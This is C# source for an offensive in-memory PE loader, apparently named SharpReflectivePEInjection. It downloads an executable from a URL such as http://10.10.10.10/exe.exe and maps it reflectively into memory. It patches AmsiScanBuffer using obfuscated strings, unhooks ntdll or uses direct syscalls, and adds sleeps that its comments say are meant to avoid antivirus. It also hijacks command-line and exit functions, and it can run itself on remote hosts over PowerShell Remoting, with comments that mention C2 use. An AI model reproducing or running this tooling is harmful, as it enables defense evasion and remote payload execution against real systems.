void PSRemotingReflection()
{
GetPE();
string b64EXE = Convert.ToBase64String(unpacked);
var filteredArgs = new List(); // construct arguments for execution stub
string[] CLI_ARGS = Environment.GetCommandLineArgs();
for (int i = 1; i < CLI_ARGS.Length; i++)
{
if (CLI_ARGS[i] == "-url" || CLI_ARGS[i] == "-u") { filteredArgs.Add($"\"-b64PE\""); filteredArgs.Add($"\"{b64EXE}\""); print("[*] Passed binary to remote reflector"); }
if (CLI_ARGS[i] == "-file" || CLI_ARGS[i] == "-f" ) { filteredArgs.Add($"\"-b64PE\""); filteredArgs.Add($"\"{b64EXE}\""); print("[*] Passed binary to remote reflector"); }
if (!CLI_ARGS[i].Contains("ComputerName") && CLI_ARGS[i] != ComputerName) { filteredArgs.Add($"\"{CLI_ARGS[i]}\""); }
}
filteredArgs.Add("\"RedirectOutPut\""); // this will trigger stdout and stderr redirection so output can be retrieved remotely
string psArgs = string.Join(",", filteredArgs);
psArgs = $"({psArgs})";
if (!string.IsNullOrEmpty(url))
{
psArgs = psArgs.Replace(url, null);
psArgs = psArgs.Replace("-url", null);
psArgs = psArgs.Replace("-u", null);
}
if (!string.IsNullOrEmpty(fromfile))
{
psArgs = psArgs.Replace(fromfile, null);
psArgs = psArgs.Replace("-file", null);
psArgs = psArgs.Replace("-f", null);
}
//PrintExit(psArgs);
print("[*] Constructed arguments to be passed with powershell remoting");
Assembly currentAssembly = Assembly.GetExecutingAssembly(); //get the currently running assembly's bytes
string assemblyLocation = currentAssembly.Location;
byte[] assemblyBytes;
string b64ASM;
using (FileStream fileStream = new FileStream(assemblyLocation, FileMode.Open, FileAccess.Read))
{
using (BinaryReader binaryReader = new BinaryReader(fileStream))
{
assemblyBytes = binaryReader.ReadBytes((int)fileStream.Length);
print("[*] Retrieved Current Assembly Bytes");
b64ASM = Convert.ToBase64String(assemblyBytes);
}
}
// (Nasty oneliner) XD
string powerhsell_script = $"$object = [System.Reflection.Assembly]::Load([Convert]::FromBase64String(\"{b64ASM}\")); $bindingFlags = [Reflection.BindingFlags]\"Public,NonPublic,Static\"; $type=$object.GetType(\"Program\");$method = $type.GetMethod(\"$\",$bindingFlags);$method.Invoke($null, (, [string[]] {psArgs}) ) ";
print("[*] Constructed a powershell oneliner");
//PrintExit(powerhsell_script);
// opening a remote WinRM connection with current user context
Uri WsmanUri = new Uri($"http://{ComputerName}:5985/wsman");
WSManConnectionInfo RemoteWinRM = null;
WindowsIdentity CurrentUser = WindowsIdentity.GetCurrent();
if (CurrentUser != null)
{
string user = CurrentUser.Name;
print($"[+] Identity Context: {user}");
PSCredential creds = new(user);
RemoteWinRM = new(WsmanUri);
RemoteWinRM.Credential = creds;
}
else { print("[-] couldn't find an identity to use with PSRemoting"); }
// open a remote powershell unmanaged runspace
using (Runspace UnManagedRunSpace = RunspaceFactory.CreateRunspace(RemoteWinRM))
{
UnManagedRunSpace.Open(); // open the unmanaged runspace
print("[*] opened a remote powershell runspace (unmanaged)");
using (PowerShell pwsh = PowerShell.Create())
{
pwsh.Runspace = UnManagedRunSpace;
pwsh.AddScript(powerhsell_script).AddCommand("Out-String");
print("[+] Suicide Burn before remote Invokation ...."); // this trick is from BetterSafetyKatz repo ;)
Thread.Sleep(3268); // thats just a random number i clicked XD
print("[*] Invoking stub in the remote runspace");
Thread tstdout = new Thread(() => { ReadStdOut(ComputerName); });
Thread tstderr = new Thread(() => { ReadStdErr(ComputerName); });
tstdout.Start();
tstderr.Start();
try { pwsh.Invoke(); } catch { /* me if you can ;) */ }
Process.GetCurrentProcess().Kill(); // kill the current process directly after output to avoid endless execution loops
}
}
}
void ReadStdOut(string ComputerName)
{
Console.WriteLine("[+] starting STDOUT remote reader pipe client");
string pipeName = "stdout";
using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(ComputerName, pipeName, PipeDirection.In, PipeOptions.None, TokenImpersonationLevel.Impersonation))
{
pipeClient.Connect();
using (StreamReader reader = new StreamReader(pipeClient))
{
string line;
if ((line = reader.ReadLine()) == null) { Console.WriteLine("[i] did not receive any data on stdout pipe"); }
while ((line = reader.ReadLine()) != null)
{
Console.WriteLine(line);
}
}
Process.GetCurrentProcess().Dispose();
Process.GetCurrentProcess().Kill(); // killing immediatly after read so it doesn't bug out
}
}
/* (ReadStd*) functions are made to read redirected stdout and stderr when executing PEs remotely*/
void ReadStdErr(string ComputerName)
{
Console.WriteLine("[+] starting STDERR remote reader pipe client");
string pipeName = "stderr";
using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(ComputerName, pipeName, PipeDirection.In, PipeOptions.None,
TokenImpersonationLevel.Impersonation))
{
pipeClient.Connect();
using (StreamReader reader = new StreamReader(pipeClient))
{
string line;
int counter = 0;
while ((line = reader.ReadLine()) != null)
{
Console.WriteLine(line);
counter++;
if (counter == 10) { break; }
}
}
Console.WriteLine("[+] Disposing all resources and killing the process");
Console.WriteLine("[*] Suicide Will Take Care of Remote Cleanup (if there is any)");
Process.GetCurrentProcess().Dispose();
Process.GetCurrentProcess().Kill(); // killing immediatly after read so it doesn't bug out
}
}
if (PSRemoting) { PSRemotingReflection(); } // calls itself reflectively on a remote machine without setting PSremoting true again
void GetPE()
{
if (string.IsNullOrEmpty(url) && !string.IsNullOrEmpty(PE_b64)) // base64 encoding
{
print("[*] unpacking binary from base64 blob");
unpacked = Convert.FromBase64String(PE_b64);
}
if (string.IsNullOrEmpty(url) && string.IsNullOrEmpty(PE_b64) && !string.IsNullOrEmpty(fromfile)) { // get from local file
print("[*] Reading Binary From File");
unpacked = File.ReadAllBytes(fromfile);
}
if (string.IsNullOrEmpty(PE_b64) && !string.IsNullOrEmpty(url)) // download from a url
{
using (WebClient downloadPE = new WebClient())
{
Console.WriteLine($"[*] Downloading PE from {url}");
unpacked = downloadPE.DownloadData(url);
}
}
}
GetPE();
if (string.IsNullOrEmpty(url) && string.IsNullOrEmpty(PE_b64) && string.IsNullOrEmpty(fromfile))
{
print("usage: .\\SharpReflectivePEInjection.exe -url http://10.10.10.10/exe.exe [Optional: -Args \"\"]");
print("usage: .\\SharpReflectivePEInjection.exe -b64PE [Optional: -Args \"\"]");
print("usage: .\\SharpReflectivePEInjection.exe -url http://10.10.10.10/exe.exe -ComputerName server.ad.local [Optional: -Args \"\"]");
print("\nfor full help: .\\SharpReflectivePEInjection.exe -h ");
exit();
}
// mapping DLLs
PE_MANUAL_MAP ntdll = new();
if (!useSysCalls)
{
ntdll = Map.MapModuleFromDisk(@"C:\Windows\System32\ntdll.dll"); /* Replaced Map.MapModuleToMemory with Map.MapModuleFromDisk to make it work with x32 */
Console.WriteLine("[*] Mapped a clean version of ntdll (no hooks here)");
}
else { print("[*] using SysCalls, Will Not Map ntdll"); }
// NtAllocate
IntPtr ntva_ptr;
if (useSysCalls) { ntva_ptr = GetSyscallStub("NtAllocateVirtualMemory"); } else { ntva_ptr = GetExportAddress(ntdll.ModuleBase, "NtAllocateVirtualMemory"); }
NtAllocateVirtualMemory NtAllocateVirtualMemory = Marshal.GetDelegateForFunctionPointer(ntva_ptr);
//
//NtProtect (the only way i was able to get it to work)
IntPtr ntvp_ptr;
if (useSysCalls) { ntvp_ptr = GetSyscallStub("NtProtectVirtualMemory"); } else { ntvp_ptr = GetExportAddress(ntdll.ModuleBase, "NtProtectVirtualMemory"); }
object NtProtectVirtualMemory(IntPtr pHandle, IntPtr Address, IntPtr NtSize, uint AccessMask, uint OldProtection)
{
object[] NtVPArgs = { pHandle, Address, NtSize, AccessMask, OldProtection };
return DynamicFunctionInvoke(ntvp_ptr, typeof(NtProtectVirtualMemory), ref NtVPArgs);
}
//
// NtFree
IntPtr ntvf_ptr;
if (useSysCalls) { ntvf_ptr = GetSyscallStub("NtFreeVirtualMemory"); } else { ntvf_ptr = GetExportAddress(ntdll.ModuleBase, "NtFreeVirtualMemory"); }
NtFreeVirtualMemory NtFreeVirtualMemory = Marshal.GetDelegateForFunctionPointer(ntvf_ptr);
//
// NtCreateThreadEx
IntPtr ntct_ptr;
if (useSysCalls) { ntct_ptr = GetSyscallStub("NtCreateThreadEx"); } else { ntct_ptr = GetExportAddress(ntdll.ModuleBase, "NtCreateThreadEx"); }
NtCreateThreadEx NtCreateThreadEx = Marshal.GetDelegateForFunctionPointer(ntct_ptr);
//
// NtClose
IntPtr ntc;
if (useSysCalls) { ntc = GetSyscallStub("NtClose"); } else { ntc = GetExportAddress(ntdll.ModuleBase, "NtClose"); }
NtClose NtClose = Marshal.GetDelegateForFunctionPointer(ntc);
//
//NtWaitForSingleObject
IntPtr NtWait; // direct syscall made easy XD, i fuckin love D/Invoke
if (useSysCalls) { NtWait = GetSyscallStub("NtWaitForSingleObject"); } else { NtWait = GetExportAddress(ntdll.ModuleBase, "NtWaitForSingleObject"); }
NtWaitForSingleObject NtWaitForSingleObject = Marshal.GetDelegateForFunctionPointer(NtWait);
//kernelbase.dll functions
IntPtr SetStdptr = GetLibraryAddress("kernelbase.dll", "SetStdHandle", true);
SetStdHandle SetStdHandle = Marshal.GetDelegateForFunctionPointer(SetStdptr);
IntPtr HandleInfoptr = GetLibraryAddress("kernelbase.dll", "SetHandleInformation", true); ;
SetHandleInformation SetHandleInformation = Marshal.GetDelegateForFunctionPointer(HandleInfoptr);
//
// constants
const uint MEM_COMMIT = 0x1000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
const uint PAGE_EXECUTEREAD = 0x20;
const uint PAGE_READWRITE = 0x04;
const uint THREAD_ALL_ACCESS = 0x1FFFFF;
//
void AmziPatcher()
{ // patching A.M.S.I, //will add AES decryption routine to obfuscate the names
try
{
uint OldProtection = 0;
IntPtr func = GetLibraryAddress("a"+"m"+"s"+"i"+".dll", "A"+"m"+"s"+"i"+"S"+"c"+"a"+"n"+"B"+"u"+"f"+"f"+"e"+"r", true);
// return arch appropriat patch, patch from rasta mouse
byte[] patch = IntPtr.Size == 8 ? new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 } : new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
IntPtr NtPatchSize = new IntPtr(patch.Length);
_ = NtProtectVirtualMemory(new IntPtr(-1), func, NtPatchSize, PAGE_READWRITE, OldProtection);
Marshal.Copy(patch, 0, func, patch.Length);
print("[*] Patched A.M.Z.I!");
_ = NtProtectVirtualMemory(new IntPtr(-1), func, NtPatchSize, OldProtection, OldProtection);
}
catch {/* pokemon */}
}
AmziPatcher();
IMAGE_DOS_HEADER dosHeader = new();
IMAGE_OPTIONAL_HEADER64 OptionalHeader64 = new();
IMAGE_OPTIONAL_HEADER32 OptionalHeader32 = new();
IMAGE_FILE_HEADER FileHeader = new();
IMAGE_SECTION_HEADER[] ImageSectionHeaders;
bool Is32bitPE = false;
// CaseySmith's PELoader Constructor, but modified to DInvoke
using (MemoryStream stream = new MemoryStream(unpacked, 0, unpacked.Length))
{
BinaryReader reader = new BinaryReader(stream);
dosHeader = FromBinaryReader(reader);
// Add 4 bytes to the offset
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
UInt32 ntHeadersSignature = reader.ReadUInt32();
FileHeader = FromBinaryReader(reader);
UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
bool Is32BitHeader = (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
if (Is32BitHeader)
{
OptionalHeader32 = FromBinaryReader(reader);
Is32bitPE = true;
}
else
{
OptionalHeader64 = FromBinaryReader(reader);
}
ImageSectionHeaders = new IMAGE_SECTION_HEADER[FileHeader.NumberOfSections];
for (int headerNo = 0; headerNo < ImageSectionHeaders.Length; ++headerNo)
{
ImageSectionHeaders[headerNo] = FromBinaryReader(reader);
}
// after populating close and dispose all memory resources of BinaryReader
reader.Dispose();
reader.Close();
}
static T FromBinaryReader(BinaryReader reader) // CaseySmith's PELoader FromBinaryReader Method
{
byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));
GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
handle.Free();
return theStructure;
}
if (Is32bitPE)
{
print("[*] Loading 32-bit PE, x86 memory layout will apply");
}
else
{
print("[*] Loading 64-bit PE, x64 memory layout will apply");
}
uint SizeOfImage = Is32bitPE == true ? OptionalHeader32.SizeOfImage : OptionalHeader64.SizeOfImage;
IntPtr NtSizeOfImage = new IntPtr(SizeOfImage);
IntPtr CurrentProcessHandle = (IntPtr)(-1);
IntPtr codebase = IntPtr.Zero;
NtAllocateVirtualMemory((IntPtr)(-1), ref codebase, IntPtr.Zero, ref NtSizeOfImage, MEM_COMMIT, PAGE_READWRITE);
// Copy Sections
for (int SectionIndex = 0; SectionIndex < FileHeader.NumberOfSections; SectionIndex++)
{
IntPtr SectionAddress = IntPtr.Add(codebase, (int)ImageSectionHeaders[SectionIndex].VirtualAddress);
uint SectionSize = ImageSectionHeaders[SectionIndex].SizeOfRawData;
IntPtr NtSectionSize = new IntPtr(SectionSize);
if (SectionSize != 0)
{
NtAllocateVirtualMemory(CurrentProcessHandle, ref SectionAddress, IntPtr.Zero, ref NtSectionSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(unpacked, (int)ImageSectionHeaders[SectionIndex].PointerToRawData, SectionAddress, (int)SectionSize);
}
else continue;
}
print("[*] Mapped Sections"); // if there is any errors its mostly comming from here, its not always DNS, its always Relocations :\
// relocations
var ImageBase = Is32bitPE == true ? OptionalHeader32.ImageBase : OptionalHeader64.ImageBase;
var delta = Is32bitPE == true ? codebase.ToInt32() - (int)ImageBase : codebase.ToInt64() - (long)ImageBase;
var BaseRelocationRVA = Is32bitPE == true ? OptionalHeader32.BaseRelocationTable.VirtualAddress : OptionalHeader64.BaseRelocationTable.VirtualAddress;
IntPtr RelocationTablePtr = IntPtr.Add(codebase, (int)BaseRelocationRVA);
IMAGE_BASE_RELOCATION ImageBaseRelocation = new();
ImageBaseRelocation = Marshal.PtrToStructure(RelocationTablePtr);
int ImageSizeOfBaseRelocation = Marshal.SizeOf();
int SizeOfRelocationBlock = (int)ImageBaseRelocation.SizeOfBlock;
IntPtr pRelocationTablePtr = RelocationTablePtr; // using a pointer to a pointer ??? --__('')__--
while (true)
{
IMAGE_BASE_RELOCATION ImageBaseRelocation2 = new();
IntPtr NextRelocationBlock = IntPtr.Add(RelocationTablePtr, SizeOfRelocationBlock);
ImageBaseRelocation2 = Marshal.PtrToStructure(NextRelocationBlock);
IntPtr RelocationBlockAddress = IntPtr.Add(codebase, (int)ImageBaseRelocation.VirtualAdress);
int RelocationEntriesinBlock = (int)((ImageBaseRelocation.SizeOfBlock - ImageSizeOfBaseRelocation) / 2);
for (int i = 0; i < RelocationEntriesinBlock; i++)
{
UInt16 RelocationEntry = (UInt16)Marshal.ReadInt16(pRelocationTablePtr, ImageSizeOfBaseRelocation + (2 * i));
UInt16 type = (UInt16)(RelocationEntry >> 12);
UInt16 AddressToFix = (UInt16)(RelocationEntry & 0xfff);
switch (type)
{
case 0x0:
break;
case 0xA: // PE32+
IntPtr PatchAddress = IntPtr.Add(RelocationBlockAddress, AddressToFix);
long OriginalAddress = Marshal.ReadInt64(PatchAddress);
Marshal.WriteInt64(PatchAddress, OriginalAddress + delta);
break;
case 0x3: // PE32
IntPtr PatchAddress32 = IntPtr.Add(RelocationBlockAddress, AddressToFix);
int OriginalAddress32 = Marshal.ReadInt32(PatchAddress32);
Marshal.WriteInt32(PatchAddress32, OriginalAddress32 + (int)delta);
break;
}
}
pRelocationTablePtr = IntPtr.Add(RelocationTablePtr, SizeOfRelocationBlock);
SizeOfRelocationBlock += (int)ImageBaseRelocation2.SizeOfBlock;
ImageBaseRelocation = ImageBaseRelocation2;
if (ImageBaseRelocation2.SizeOfBlock == 0) break;
}
print("[*] Performed Relocations");
// Resolving Imports, Dancing in the IAT
int IMBORT_DIRECTORY_TABLE_ENTRY_LENGTH = 20;
int IDT_IAT_OFFSET = 16;
int DLL_NAME_RVA_OFFSET = 12;
int IMPORT_LOOKUP_TABLE_HINT = 2;
var IMPORT_TABLE_SIZE = Is32bitPE == true ? (int)OptionalHeader32.ImportTable.Size : (long)OptionalHeader64.ImportTable.Size;
int ImportTableRVA = Is32bitPE == true ? (int)OptionalHeader32.ImportTable.VirtualAddress : (int)OptionalHeader64.ImportTable.VirtualAddress;
int SizeOfImportDescriptorStruct = Marshal.SizeOf();
var NumberOfDlls = IMPORT_TABLE_SIZE / SizeOfImportDescriptorStruct;
IntPtr pIDT = IntPtr.Add(codebase, ImportTableRVA);
for (int DllIndex = 0; DllIndex < NumberOfDlls; DllIndex++)
{
IntPtr pImageImportDescriptor = IntPtr.Add(pIDT, IMBORT_DIRECTORY_TABLE_ENTRY_LENGTH * DllIndex);
IntPtr dllNameRva = IntPtr.Add(pImageImportDescriptor, DLL_NAME_RVA_OFFSET);
IntPtr dllNamePtr = IntPtr.Add(codebase, Marshal.ReadInt32(dllNameRva));
string DllName = Marshal.PtrToStringAnsi(dllNamePtr);
if (string.IsNullOrEmpty(DllName)) { break; }
IntPtr Handle2Dll;
//if (DllName.ToLower() == "kernel32.dll") { Handle2Dll = kernel32.ModuleBase; } // if the loaded PE uses kernel32, it will use the mapped clean version
if (DllName.ToLower() == "ntdll.dll") { Handle2Dll = ntdll.ModuleBase; } // same here for ntdll
Handle2Dll = LoadModuleFromDisk(DllName); // LdrLoadDll
Console.Write($"\r[+] slowly loading DLLs: {DllName} \r");
Console.Write("\r");
int IAT_RVA = Marshal.ReadInt32(pImageImportDescriptor, IDT_IAT_OFFSET);
IntPtr IATPtr = IntPtr.Add(codebase, IAT_RVA);
while (true)
{
IntPtr DllFuncNamePtr = IntPtr.Add(codebase, Marshal.ReadInt32(IATPtr) + IMPORT_LOOKUP_TABLE_HINT);
string DllFuncName = Marshal.PtrToStringAnsi(DllFuncNamePtr);
if (string.IsNullOrEmpty(DllFuncName)) { break; } // sanity
IntPtr FuncAddress= GetNativeExportAddress(Handle2Dll, DllFuncName); // LdrGetProcedureAddress
var IntFunctionAddress = Is32bitPE == true ? FuncAddress.ToInt32() : FuncAddress.ToInt64();
if (Is32bitPE)
{
Marshal.WriteInt32(IATPtr, (int)IntFunctionAddress);
}
else
{
Marshal.WriteInt64(IATPtr, (long)IntFunctionAddress);
}
IATPtr = IntPtr.Add(IATPtr, IntPtr.Size);
Thread.Sleep(31); // slowing down to not trigger AV
}
}
print("[*] Loaded Dlls and Fixed Import Access Table");
// cmdline hijacking
string ExeArgs = $" {Args}"; // needs a white space prefix
if (!string.IsNullOrEmpty(Args)) { print($"[*] Passing [{Args}] to EXE"); }
void PatchGetCommandLineX() // reference Invoke-ReflectivePEinjection.ps1, Lines: 1966 - 2125
{
int PtrSize = IntPtr.Size; // 32Bit=4, 64bit=8
IntPtr hKernelBase = GetPebLdrModuleEntry("kernelbase.dll");
IntPtr CLIWptr = Marshal.StringToHGlobalUni(ExeArgs);
IntPtr CLIAptr = Marshal.StringToHGlobalAnsi(ExeArgs);
// GetCommandLineA address from kernelbase.dll
IntPtr GetCommandLineAaddr = GetExportAddress(hKernelBase, "GetCommandLineA");
// GetCommandLineW address from kernelbase.dll
IntPtr GetCommandLineWaddr = GetExportAddress(hKernelBase, "GetCommandLineW");
byte[] AssemblyPatch;
if (!Is32bitPE)
{
AssemblyPatch = new byte[] { 0x48, 0xb8 }; // MOV REX.W // prepares the cpu for x64 instructions
}
else
{
AssemblyPatch = new byte[] { 0xb8 }; // MOV, if x86
}
byte[] RET = { 0xc3 };
uint TotalSize;
TotalSize = (uint)(AssemblyPatch.Length + PtrSize + RET.Length);
IntPtr NtTotalSize = new IntPtr(TotalSize);
uint OldProtection = 0;
byte[] Nulls = new byte[TotalSize];
for (int i = 0; i < Nulls.Length; i++) { Nulls[i] += 0x00; }
// overwriting GetCommandLineA
NtProtectVirtualMemory(new IntPtr(-1), GetCommandLineAaddr, NtTotalSize, PAGE_READWRITE, OldProtection);
Marshal.Copy(Nulls.ToArray(), 0, GetCommandLineAaddr, Nulls.Length);
Marshal.Copy(AssemblyPatch, 0, GetCommandLineAaddr, AssemblyPatch.Length);
GetCommandLineAaddr = IntPtr.Add(GetCommandLineAaddr, AssemblyPatch.Length);
Marshal.StructureToPtr(CLIAptr, GetCommandLineAaddr, true); // puts the CLIAptr string in GetCommandLineAptr memory address
GetCommandLineAaddr = IntPtr.Add(GetCommandLineAaddr, PtrSize);
Marshal.Copy(RET, 0, GetCommandLineAaddr, RET.Length);
NtProtectVirtualMemory(new IntPtr(-1), GetCommandLineAaddr, NtTotalSize, PAGE_EXECUTEREAD, OldProtection);
Thread.Sleep(20);
// overwriting GetCommandLineW
NtProtectVirtualMemory(new IntPtr(-1), GetCommandLineWaddr, NtTotalSize, PAGE_READWRITE, OldProtection);
Marshal.Copy(Nulls.ToArray(), 0, GetCommandLineWaddr, Nulls.Length);
Marshal.Copy(AssemblyPatch, 0, GetCommandLineWaddr, AssemblyPatch.Length);
GetCommandLineWaddr = IntPtr.Add(GetCommandLineWaddr, AssemblyPatch.Length);
Marshal.StructureToPtr(CLIWptr, GetCommandLineWaddr, true); // puts the CLIAptr string in GetCommandLineAptr memory address
GetCommandLineWaddr = IntPtr.Add(GetCommandLineWaddr, PtrSize);
Marshal.Copy(RET, 0, GetCommandLineWaddr, RET.Length);
NtProtectVirtualMemory(new IntPtr(-1), GetCommandLineWaddr, NtTotalSize, PAGE_EXECUTEREAD, OldProtection);
Thread.Sleep(20);
if (!string.IsNullOrEmpty(ExeArgs)) { print("[*] Patched args !"); }
NtClose(hKernelBase);
Marshal.FreeHGlobal(CLIAptr);
Marshal.FreeHGlobal(CLIWptr);
}
void Patch_xcmdln() // adding support to Native C/C++ args like (argv[0]) to make it fully compatible with anything
{
uint OldProtect;
uint NtOld = 0;
IntPtr hDll = GetPebLdrModuleEntry("msvcrt.dll"); // without using DInvoke and Native C# structures to acces the PEB it won't work
if (hDll == IntPtr.Zero) { print("[-] could not load msvcrt.dll, non windows api args will not be patched"); }
IntPtr Wcmdlineaddr = GetExportAddress(hDll, "_wcmdln");
IntPtr Acmdlineaddr = GetExportAddress(hDll, "_acmdln");
IntPtr NewPtra_cmdln = Marshal.StringToHGlobalAnsi(ExeArgs);
IntPtr NewPtrw_cmdln = Marshal.StringToHGlobalAnsi(ExeArgs);
IntPtr NtSize = new IntPtr(IntPtr.Size);
// patch a_cmdln
NtProtectVirtualMemory((IntPtr)(-1), Acmdlineaddr, NtSize, PAGE_READWRITE, NtOld);
Marshal.StructureToPtr(NewPtra_cmdln, Acmdlineaddr, true);
NtProtectVirtualMemory((IntPtr)(-1), Acmdlineaddr, NtSize, NtOld, NtOld);
// patch W_cmdln
NtProtectVirtualMemory((IntPtr)(-1), Acmdlineaddr, NtSize, PAGE_READWRITE, NtOld);
Marshal.StructureToPtr(NewPtrw_cmdln, Wcmdlineaddr, true);
NtProtectVirtualMemory((IntPtr)(-1), Acmdlineaddr, NtSize, NtOld, NtOld);
NtClose(hDll);
Marshal.FreeHGlobal(NewPtra_cmdln);
Marshal.FreeHGlobal(NewPtrw_cmdln);
}
void PatchExit() // guess what, YEP referencing Invoke-ReflectivePEInjection.ps1 again, these people are awesome!!!
{
print("[*] Patching Exit mechanism to ExitThread");
var ExitFunctions = new List();
IntPtr hMscoree = GetPebLdrModuleEntry("mscoree.dll");
if (hMscoree == IntPtr.Zero) { print("did not find mscoree.dll"); }
IntPtr hkernel32 = GetPebLdrModuleEntry("kernel32.dll");
if (hkernel32 == IntPtr.Zero) { print("did not find kernel32.dll, WTF kind of windows doesn't have kernel32"); }
IntPtr CorExitProcaddr = GetExportAddress(hMscoree, "CorExitProcess");
IntPtr ExitProcAddr = GetExportAddress(hkernel32, "ExitProcess");
if (ExitProcAddr == IntPtr.Zero) { print("did not find ExitProcess"); }
ExitFunctions.Add(CorExitProcaddr);
ExitFunctions.Add(ExitProcAddr);
uint OldProtection = 0;
foreach (IntPtr Function in ExitFunctions)
{
IntPtr FunctionAddr = Function;
byte[] AssemblyPatch;
byte[] AssemblyPatch2;
if (Is32bitPE) // x86 assembly to patch
{
AssemblyPatch = new byte[] { 0xbb };
AssemblyPatch2 = new byte[] { 0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb };
}
else // guess it
{
AssemblyPatch = new byte[] { 0x48, 0xbb };
AssemblyPatch2 = new byte[] { 0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb };
}
byte[] CALL_MODRM = { 0xff, 0xd3 };
int TotalSize = AssemblyPatch.Length + IntPtr.Size + AssemblyPatch2.Length + IntPtr.Size + CALL_MODRM.Length;
IntPtr NtTotalSize = new IntPtr(TotalSize);
IntPtr DonyBytePtr = Marshal.AllocHGlobal(1);
IntPtr ExitThreadAddr = GetExportAddress(hkernel32, "ExitThread");
_ = NtProtectVirtualMemory(new IntPtr(-1), FunctionAddr, NtTotalSize, PAGE_READWRITE, OldProtection);
Marshal.Copy(AssemblyPatch, 0, FunctionAddr, AssemblyPatch.Length);
FunctionAddr = IntPtr.Add(FunctionAddr, AssemblyPatch.Length);
Marshal.StructureToPtr(DonyBytePtr, FunctionAddr, false);
FunctionAddr = IntPtr.Add(FunctionAddr, IntPtr.Size);
Marshal.Copy(AssemblyPatch2, 0, FunctionAddr, AssemblyPatch2.Length);
FunctionAddr = IntPtr.Add(FunctionAddr, AssemblyPatch2.Length);
Marshal.StructureToPtr(ExitThreadAddr, FunctionAddr, false);
FunctionAddr = IntPtr.Add(FunctionAddr, IntPtr.Size);
Marshal.Copy(CALL_MODRM, 0, FunctionAddr, CALL_MODRM.Length);
_= NtProtectVirtualMemory(new IntPtr(-1), FunctionAddr, NtTotalSize, PAGE_EXECUTEREAD, OldProtection);
Marshal.FreeHGlobal(DonyBytePtr);
}
NtClose(hMscoree);
NtClose(hkernel32);
}
void RedirectStd(){ // Redirects stds, (i know how nasty that sounds, keep it your pants XD)
// stdout and stderr are captured
var stdout = new NamedPipeServerStream("stdout", PipeDirection.Out);
var stderr = new NamedPipeServerStream("stderr", PipeDirection.Out);
IntPtr stdoutPIPEHandle = stdout.SafePipeHandle.DangerousGetHandle();
IntPtr stderrPIPEHandle = stderr.SafePipeHandle.DangerousGetHandle();
bool OUTinherit = SetHandleInformation(stdoutPIPEHandle, 0x00000001, 0x00000001);
if (!OUTinherit) { Console.WriteLine("[-] Error in Configuring stdout pipe"); }
bool ERRinherit = SetHandleInformation(stderrPIPEHandle, 0x00000001, 0x00000001);
if (!ERRinherit) { Console.WriteLine("[-] Error in Configuring stderr pipe"); }
SetStdHandle(-11, stdoutPIPEHandle); // as easy as it gets XD
SetStdHandle(-12, stderrPIPEHandle); // as easy as it gets XD
stdout.WaitForConnection();
stderr.WaitForConnection();
}
void CleanOnExitEvent() // reason behind is to properly clean the memory on CTRL-C press
{
uint old = 0;
IntPtr ReleaseAllMemory = IntPtr.Zero;
uint p = (uint)NtProtectVirtualMemory(new IntPtr(-1), codebase, NtSizeOfImage, PAGE_READWRITE, old);
if (p != 0) { print("[-] Error in changing Memory Protection for Cleanup"); }
byte[] zeroes = new byte[SizeOfImage];
for (var i = 0; i < zeroes.Length; i++)
{
zeroes[i] = 0x00;
}
Marshal.Copy(zeroes.ToArray(), 0, codebase, (int)SizeOfImage);
print("\n[*] Zeroed-Out all the memory");
uint f = NtFreeVirtualMemory(new IntPtr(-1), ref codebase, ref ReleaseAllMemory, 0x00008000); // decommit and release at the same time
if (f != 0) { print("[-] Error in Freeing the Allocated Memory for Cleanup"); }
print("[*] Freed all allocated memory");
if (!useSysCalls) { Map.FreeModule(ntdll); print("[*] Freed Mapped ntdll"); }
Process.GetCurrentProcess().Kill();
}
void Suicide() {
Thread.Sleep(15000);
Process.GetCurrentProcess().Dispose();
Process.GetCurrentProcess().Kill();
/*
if a problem happened during remote execution and the Execution didn't end properly, resources including created
NamedPipes and Remote Runspaces are not disposed properly which causes 2 things,
leaves IOCs on the remote machine
prevents further remote reflections due to confusion in NamedPipe Communications
this ensures that everytime a remote execution occurs after 15 seconds of Invoking the PE,
it will close itself automatically despite any problems that may cause hanging, so we don't have to worry about cleaning up
*/
}
void LocalSuicide() {
Thread.Sleep(90000);
Process.GetCurrentProcess().Dispose();
Process.GetCurrentProcess().Kill();
/*
same as Suicide() but for local execution, this function is made to ensure reliable use with C2 channels
if the PE did not exit properly in cmd session we can press CTRL-C and thats it but with C2 due to beaconing and
multithreaded executions its not that simple, this ensures even if the PE errored and did not exit, that after
1.5 Mins it effectively will.
the time the function waits before killing the process is 1.5 Mins, way longer than Suicide() to not interfere
with actual execution
*/
}
void ExitEvent()
{
Console.CancelKeyPress += (sender, eArgs) => { // on exit , clean up everything
CleanOnExitEvent();
Process.GetCurrentProcess().Kill();
};
}
PatchGetCommandLineX();
Patch_xcmdln();
if (PatchExitProcs) { PatchExit(); }
ExitEvent();
int AddressOfEntryPoint = Is32bitPE == true ? (int)OptionalHeader32.AddressOfEntryPoint : (int)OptionalHeader64.AddressOfEntryPoint;
IntPtr threadStart = IntPtr.Add(codebase, AddressOfEntryPoint);
IntPtr hThread = IntPtr.Zero;
print("[+] Suicide Burn before Execution...."); // this trick is from BetterSafetyKatz repo ;)
Thread.Sleep(4219);
if (RedirectOutPut) { RedirectStd(); Thread suicide = new(()=> { Suicide(); }); suicide.Start(); }
if (!RedirectOutPut && !DisableLocalSuicide) { Thread LS = new(() => { LocalSuicide(); }); LS.Start(); }
